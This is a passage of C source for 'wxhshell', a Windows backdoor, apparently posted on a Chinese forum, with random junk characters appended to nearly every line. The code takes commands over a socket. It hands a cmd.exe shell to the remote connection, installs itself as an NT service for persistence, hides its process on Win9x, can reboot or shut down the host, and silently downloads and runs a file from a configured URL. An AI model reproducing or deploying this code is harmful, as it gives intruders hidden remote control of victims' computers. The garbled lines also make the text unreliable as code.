    switch(cmd[0]) { E}g)q;0v|2  
  t`")Re_j  
  // 帮助 >/+R~ n  
  case '?': { isU4D  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); s3[\&zt  
    break; awl3|k/  
  } mMw--Gc?  
  // 安装 0fog/c#q(  
  case 'i': { a7}O.NDf  
    if(Install()) 3_ ZlZ_Tq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o/hj~;(]  
    else LDY3Ya`6m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~X<?&;6  
    break; KP&$Sl  
    } %+iAL<S  
  // 卸载 2&zklXuo:  
  case 'r': { %W^Zob  
    if(Uninstall()) slQEAqG)B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uK=)65]  
    else :E.T2na  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nj{;  
    break; /RI"a^&9A  
    } X@ S~D7|ja  
  // 显示 wxhshell 所在路径 1G8,Eah  
  case 'p': { tz9"#=}0  
    char svExeFile[MAX_PATH];  a"D'QqtH  
    strcpy(svExeFile,"\n\r"); .Vrl:  
      strcat(svExeFile,ExeFile); UaB2vuL*=  
        send(wsh,svExeFile,strlen(svExeFile),0); @^.o8+Pp  
    break; 5><T#0W?  
    } o8X? 1  
  // 重启 t 7D~JAx6  
  case 'b': { PsM8J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @rS(3wu_&  
    if(Boot(REBOOT)) p$}/~5b}4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p"0Dl9  
    else { P~;1adi3  
    closesocket(wsh); iu.Jp92  
    ExitThread(0); phR:=Ox|1  
    } W[:CCCDL  
    break; uann'ho?q  
    } W~FU!C?]  
  // 关机 P1^O0)  
  case 'd': { pM9M8d  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?}U?Q7vx@@  
    if(Boot(SHUTDOWN)) FXul u6"SX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !JtM`x/yR  
    else { (9{qT>eJg=  
    closesocket(wsh); W5/|.}  
    ExitThread(0); ?)H:.]7-x  
    } >T)tAZ?WK  
    break; Q <ulh s  
    } K >Q 6  
  // 获取shell ]&s@5<S[  
  case 's': { [ldBI3  
    CmdShell(wsh); vX_;Y#uD  
    closesocket(wsh); )J?8"+_Y  
    ExitThread(0); mqbCa6>_S  
    break; dL~^C I  
  } $>T(31)c  
  // 退出 5,+fM6^V  
  case 'x': { s4j]kH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k2(k0HFR  
    CloseIt(wsh); ] Upr<!  
    break; 5uV_Pkb?8  
    } -EP(/CS!  
  // 离开 *'*n}fM  
  case 'q': { aQ-SrxmO8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); MnlD87x@X  
    closesocket(wsh); }a;H2&bu  
    WSACleanup(); <fE ^S  
    exit(1); { <1uV']x  
    break; 2B^WZlx  
        } 0oZZLi  
  } _ ^'QHWP  
  } Q5A,9ovNZ  
=!)x`1j!S  
  // 提示信息 jrpki<D  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Sk-Q 4D^  
} U'u_'5 {  
  } !MVf(y$  
P 5.@LN  
  return; _SkiO }c8  
} i(;.Y  
/N#=Tol  
// shell模块句柄 wR,}#m,  
int CmdShell(SOCKET sock) dc0&*/`:  
{ fhyoSRLR:  
STARTUPINFO si; 'u%vpvF  
ZeroMemory(&si,sizeof(si)); <oi'yr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X"9N<)C  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  f^KN8N  
PROCESS_INFORMATION ProcessInfo; &3J^z7kU  
char cmdline[]="cmd"; #^yOW^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =oM#]M'G+(  
  return 0; JTObyAoW  
} Q}cti /  
|UB)q5I  
// 自身启动模式 UFLx'VX d  
int StartFromService(void) jT/P+2hMW  
{ E;9J7Q 4  
typedef struct + )z5ai0m  
{ ( P=WKZMPN  
  DWORD ExitStatus; JH u>\{8V  
  DWORD PebBaseAddress;  ZpMv16  
  DWORD AffinityMask; "?kDR1=7A  
  DWORD BasePriority; KYwUkuw)  
  ULONG UniqueProcessId; 6(x53 y__  
  ULONG InheritedFromUniqueProcessId; 3t9CN )*  
}   PROCESS_BASIC_INFORMATION; |ICn/r~  
1wH6 hN,  
PROCNTQSIP NtQueryInformationProcess;  F=a  
j9yOkaVEg  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ti$60Up  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3ZI:EZ5  
.5AFAGv_c  
  HANDLE             hProcess; P{BW^kAdH  
  PROCESS_BASIC_INFORMATION pbi; ]Yf^O @<<>  
`(gQw~|z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @2mWNYHR*>  
  if(NULL == hInst ) return 0; 1B:5O*I!J  
,0ilNi>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .z=%3p8+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;(jL`L F  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FFcIOn  
8)1=5 n  
  if (!NtQueryInformationProcess) return 0; Bo14t*(  
GY.iCub  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I3b*sx$  
  if(!hProcess) return 0; 'U*#7 1S  
x%9Ca)r?}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dG8mE&$g  
w<zzS: PF*  
  CloseHandle(hProcess); B2*7H  
u!HX`~q+A  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [b&V^41W  
if(hProcess==NULL) return 0; 2+?W{yAEi  
nP<u.{q L  
HMODULE hMod; VbMud]40F  
char procName[255]; `p1B58deC  
unsigned long cbNeeded; 9W+DW_M  
PkZ1Db  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A.@wGy4  
YJ-<t6  
  CloseHandle(hProcess); BlZB8KI~  
@GGQ13Cj(  
if(strstr(procName,"services")) return 1; // 以服务启动 ]=ZPSLuEm%  
w{lj'3z I  
  return 0; // 注册表启动 8SL E*c^8  
} MxUbx+_N  
yPe9KN_  
// 主模块 0I:5}$+J?  
int StartWxhshell(LPSTR lpCmdLine) 7'65+c[&  
{ -;ra(L`  
  SOCKET wsl; N` $F>E,T%  
BOOL val=TRUE; Hmk xE  
  int port=0; %Y0BPTt$  
  struct sockaddr_in door; |(TEG.<g  
wq,&0P-v  
  if(wscfg.ws_autoins) Install(); 0v9i43[S|J  
`B&=ya|bl  
port=atoi(lpCmdLine); M(:bM1AD`u  
N6p0`  
if(port<=0) port=wscfg.ws_port; e==/+  
4}t&yu<P>  
  WSADATA data; FV7'3fIa  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3-6MGL9  
!.MbPPNp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hO{&bY0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .Ln98#ZR  
  door.sin_family = AF_INET; `QRXQ c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #@5VT* /7  
  door.sin_port = htons(port); GUD]sXSj  
tS5J{j>T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *GY8#Az  
closesocket(wsl); S 1^t;{"  
return 1; @8w5Oudvx  
} lq]8zm<\)]  
Z__fwv.X[  
  if(listen(wsl,2) == INVALID_SOCKET) { nUVk;0at  
closesocket(wsl); u|.|dv'mbp  
return 1; (CH6Q]Wi_!  
} fVa z'R  
  Wxhshell(wsl); R]Z#VnL@qz  
  WSACleanup(); W"pHR sf  
Vr"'O6  
return 0; Y,yU460T8  
]bmf}&  
} q4Bw5 ~n  
qmGHuQVe  
// 以NT服务方式启动 trjeGSt&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |+JO]J#bc  
{ B0p;Zh  
DWORD   status = 0; hR:i!  
  DWORD   specificError = 0xfffffff; 8''1H<f  
$bF+J8%D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; CS*lk!C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; cyP+a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "'+C%  
  serviceStatus.dwWin32ExitCode     = 0; -^t.eZ*|  
  serviceStatus.dwServiceSpecificExitCode = 0; uHbbPtk  
  serviceStatus.dwCheckPoint       = 0; J#4pA{01w  
  serviceStatus.dwWaitHint       = 0; ZAeJTCCk  
8tf>G(I{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Pg`+Q^^6S  
  if (hServiceStatusHandle==0) return; l x0BKD?n  
pFiE2V_aS  
status = GetLastError(); 7bE`P[  
  if (status!=NO_ERROR) sh0x<_  
{ z#|Auc0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hH-!3S2'  
    serviceStatus.dwCheckPoint       = 0; >Wx9a"H^(  
    serviceStatus.dwWaitHint       = 0; 7@ y}J5,  
    serviceStatus.dwWin32ExitCode     = status; a #s Nd  
    serviceStatus.dwServiceSpecificExitCode = specificError; w)qmq  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); qK@,O \  
    return; nygeR|:\  
  } `*yOc6i]  
>b#CR/^z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  tj8o6N#  
  serviceStatus.dwCheckPoint       = 0; !B{(EL=g  
  serviceStatus.dwWaitHint       = 0; e.(d?/!F_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3m21n7F4*  
} PR(KDwsT&l  
j5[ >HL  
// 处理NT服务事件,比如:启动、停止 n>:e8KVM;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @m:' L7+  
{ <&B] p  
switch(fdwControl) N!v>2"x8q  
{ Bd;EI)JT  
case SERVICE_CONTROL_STOP: B VH)!]m0  
  serviceStatus.dwWin32ExitCode = 0; e$Y7V  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s2 aFme  
  serviceStatus.dwCheckPoint   = 0; 1GLb^:~A  
  serviceStatus.dwWaitHint     = 0; N>P" $  
  { j\Fbi3H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z5<&}Vh;P  
  } Po\+zZjo  
  return; Aq(,  
case SERVICE_CONTROL_PAUSE: (U.VCSn  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ov\%*z2=  
  break;  s-&i!d  
case SERVICE_CONTROL_CONTINUE: {S%;By&[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; cZrJW  
  break; ,g|ht%"  
case SERVICE_CONTROL_INTERROGATE: _$HCNFdh  
  break; sv "GX< +  
}; -W})<{End  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eSMno_Gt3  
} ;D4 bxz0ou  
,s@S`KS0  
// 标准应用程序主函数 #0#6eT{-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K #JO#  
{ s <$*A;t  
,d=Dicaz  
// 获取操作系统版本 oK"#*n  
OsIsNt=GetOsVer(); 5:EE%(g9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); xFp9H'j{  
%6@m~;c0  
  // 从命令行安装 1JI7P?\B  
  if(strpbrk(lpCmdLine,"iI")) Install(); =)Goip  
ry* 9  
  // 下载执行文件 PbMvM  
if(wscfg.ws_downexe) { A  j>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  |FFM Q"  
  WinExec(wscfg.ws_filenam,SW_HIDE); + J}h  
} Z$)jPDSr  
ty9(mtH+  
if(!OsIsNt) { lgHzI(  
// 如果时win9x,隐藏进程并且设置为注册表启动 2qKAO/_O  
HideProc(); 8Y;>3z th7  
StartWxhshell(lpCmdLine); |B),N f|a  
} pSpxd |k  
else cavzXz  
  if(StartFromService()) ]}_Ohe]X  
  // 以服务方式启动 VOp+6ho<  
  StartServiceCtrlDispatcher(DispatchTable); Y3'dV)  
else "+4r4  
  // 普通方式启动 ]k.YG!$  
  StartWxhshell(lpCmdLine); <<1_rRL]  
|q_Hiap#a  
return 0; 7{=+Va5  
}
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只看该作者 1 发表于: 2006-10-10
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